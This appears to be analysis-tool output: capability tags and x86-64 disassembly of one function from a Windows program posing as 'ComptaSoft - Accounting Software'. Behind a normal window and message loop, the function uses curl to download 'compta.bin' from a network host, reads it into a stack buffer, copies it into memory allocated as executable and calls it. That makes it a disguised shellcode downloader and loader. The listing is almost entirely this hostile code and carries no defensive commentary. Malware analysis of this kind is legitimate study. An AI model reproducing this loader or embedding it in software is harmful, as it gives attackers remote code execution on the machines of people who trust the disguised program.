Function at 0x1400017b8
Capabilities:
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x2e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], rdx
mov qword [rbp + 0x290], r8
mov dword [rbp + 0x298], r9d
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x1c8], rax
lea rax, str.WindowsApp
mov qword [rbp + 0x1f0], rax
lea rax, [sym.WindowProcedure]
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x1b4], 8
mov dword [rbp + 0x1b0], 0x50
mov edx, 0x7f00
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov qword [rbp + 0x1d0], rax
mov edx, 0x7f00
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov qword [rbp + 0x1f8], rax
mov edx, 0x7f00
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadCursorA]
call rax
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e8], 0
mov dword [rbp + 0x1c0], 0
mov dword [rbp + 0x1c4], 0
mov qword [rbp + 0x1e0], 1
lea rax, [rbp + 0x1b0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterClassExA]
call rax
test ax, ax
jne 0x1400018be
mov eax, 0
jmp 0x140001aea
mov qword [rsp + 0x58], 0
mov rax, qword [rbp + 0x280]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x177
mov dword [rsp + 0x30], 0x220
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.ComptaSoft___Accounting_Software
lea rax, str.WindowsApp
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExA]
call rax
mov qword [rbp + 0x250], rax
mov edx, dword [rbp + 0x298]
mov rax, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UpdateWindow]
call rax
jmp 0x140001985
lea rax, [rbp + 0x200]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp + 0x200]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp + 0x200]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jne 0x14000195f
lea rax, str.curl_http:__192.168.1.195:80_compta.bin
mov qword [rbp + 0x248], rax
mov byte [rbp + 0x1af], 0
mov dword [rbp + 0x25c], 0
mov rax, qword [rbp + 0x248]
lea rdx, [0x14000a0c8]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x240], rax
cmp qword [rbp + 0x240], 0
jne 0x140001a1d
mov ecx, 1
call sym.exit
movzx eax, byte [rbp + 0x1af]
mov edx, eax
mov eax, dword [rbp + 0x25c]
cdqe
mov byte [rbp + rax - 0x20], dl
add dword [rbp + 0x25c], 1
mov rdx, qword [rbp + 0x240]
lea rax, [rbp + 0x1af]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
test rax, rax
jne 0x140001a01
mov rax, qword [rbp + 0x240]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov rdx, rax
lea rax, [rbp - 0x20]
mov ecx, 0x1cc
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x238]
call rax
mov rax, qword [rbp + 0x210]
add rsp, 0x2e0
pop rsi
pop rdi
pop rbp
ret